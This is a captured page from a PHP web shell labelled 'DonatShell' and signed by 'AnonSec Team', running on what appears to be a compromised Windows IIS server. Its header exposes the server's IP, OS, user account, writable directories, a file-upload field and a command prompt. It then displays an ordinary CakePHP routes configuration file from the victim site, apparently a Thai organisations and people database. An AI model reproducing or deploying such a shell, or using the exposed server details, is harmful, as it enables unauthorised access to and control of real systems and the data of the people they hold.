DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.194
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/Config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/Config/routes_bk.php
<?php
/**
 * Routes configuration
 *
 * In this file, you set up routes to your controllers and their actions.
 * different urls to chosen controllers and their actions (functions).
 * Routes are very important mechanism that allows you to freely connect
 *
 * PHP 5
 *
 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org)
 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
 *
 * Licensed under The MIT License
 * For full copyright and license information, please see the LICENSE.txt
 * Redistributions of files must retain the above copyright notice.
 *
 * @copyright     Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
 * @link          http://cakephp.org CakePHP(tm) Project
 * @package       app.Config
 * @since         CakePHP(tm) v 0.2.9
 * @license       http://www.opensource.org/licenses/mit-license.php MIT License
 */
/**
 * Here, we are connecting '/' (base path) to controller called 'Pages',
 * its action called 'display', and we pass a param to select the view file
 * to use (in this case, /app/View/Pages/home.ctp)...
 */
    Router::connect( '/', array( 'controller' => 'pages', 'action' => 'index' ) );
    Router::connect( '/regions/*', array( 'controller' => 'pages', 'action' => 'regions' ) );
    Router::connect( '/provinces/get/*', array( 'controller' => 'provinces', 'action' => 'get' ) );
    Router::connect( '/provinces/*', array( 'controller' => 'pages', 'action' => 'provinces' ) );
    //contact page
    Router::connect( '/contact', array( 'controller' => 'pages', 'action' => 'contact' ) );
    Router::connect( '/logout', array( 'controller' => 'users', 'action' => 'logout' ) );

    Router::connect( '/404', array( 'controller' => 'pages', 'action' => 'error404' ) );

    Router::connect( '/login', array( 'controller' => 'users', 'action' => 'login', 'admin' => false ) );
    Router::connect( '/forgot-password', array( 'controller' => 'users', 'action' => 'forgotPassword', 'admin' => false ) );

    Router::connect( '/foreign', array( 'controller' => 'foreign_organizations', 'action' => 'index' ) );
    Router::connect( '/foreign/view/*', array( 'controller' => 'foreign_organizations', 'action' => 'view' ) );

    Router::connect('/admin', array('controller' => 'users', 'action' => 'dashboard', 'admin' => true ) );
    Router::connect('/admin/404', array('controller' => 'pages', 'action' => 'error404', 'admin' => true ) );

    Router::connect('/chart-province/*', array('controller' => 'pages', 'action' => 'chartProvince') );
    Router::connect('/chart-region/*', array('controller' => 'pages', 'action' => 'chartRegion') );
    Router::connect('/chart-country', array('controller' => 'pages', 'action' => 'chartCountry'));

    Router::connect( '/people-map-thailand', array( 'controller' => 'pages', 'action' => 'peopleMapThailand' ) );
    Router::connect( '/people-map-regions/*', array( 'controller' => 'pages', 'action' => 'peopleMapRegions' ) );
    Router::connect( '/people-map-provinces/*', array( 'controller' => 'pages', 'action' => 'peopleMapProvinces' ) );

    Router::connect('/chart-people-thailand', array('controller' => 'pages', 'action' => 'chartPeopleCountry'));
    Router::connect('/chart-people-region/*', array('controller' => 'pages', 'action' => 'chartPeopleRegion'));
    Router::connect('/chart-people-province/*', array('controller' => 'pages', 'action' => 'chartPeopleProvince'));

    Router::connect('/reports_organizations', array('controller' => 'pages', 'action' => 'reports_organizations'));
    Router::connect('/reports_people', array('controller' => 'pages', 'action' => 'reports_people'));
    Router::connect('/reports_activities', array('controller' => 'pages', 'action' => 'reports_activities'));

    Router::connect('/allinfo_reports_organizations', array('controller' => 'pages', 'action' => 'allinfo_reports_organizations'));
    Router::connect('/allinfo_reports_people', array('controller' => 'pages', 'action' => 'allinfo_reports_people'));
    Router::connect('/allinfo_reports_activities', array('controller' => 'pages', 'action' => 'allinfo_reports_activities'));

    // for csv and pdf downloads
    //Router::parseExtensions('csv', 'pdf');

    $url_string=explode('/',$_SERVER[ 'REQUEST_URI' ]);

    if($url_string[2] == "rss_feed"){
        $type = 'xml';
    }else{
        $type1 = 'pdf';
        $type2 = 'csv';
        $type = $type1.','. $type2;
    }


    // for csv and pdf downloads
    Router::parseExtensions($type);

/**
 * ...and connect the rest of 'Pages' controller's urls.
 */
	// Router::connect('/pages/*', array('controller' => 'pages', 'action' => 'display'));

/**
 * Load all plugin routes. See the CakePlugin documentation on
 * how to customize the loading of plugin routes.
 */
	CakePlugin::routes();

/**
 * Load the CakePHP default routes. Only remove this if you do not want to use
 * the built-in default routes.
 */
	require CAKE . 'Config' . DS . 'routes.php';

Anon7 - 2022
AnonSec Team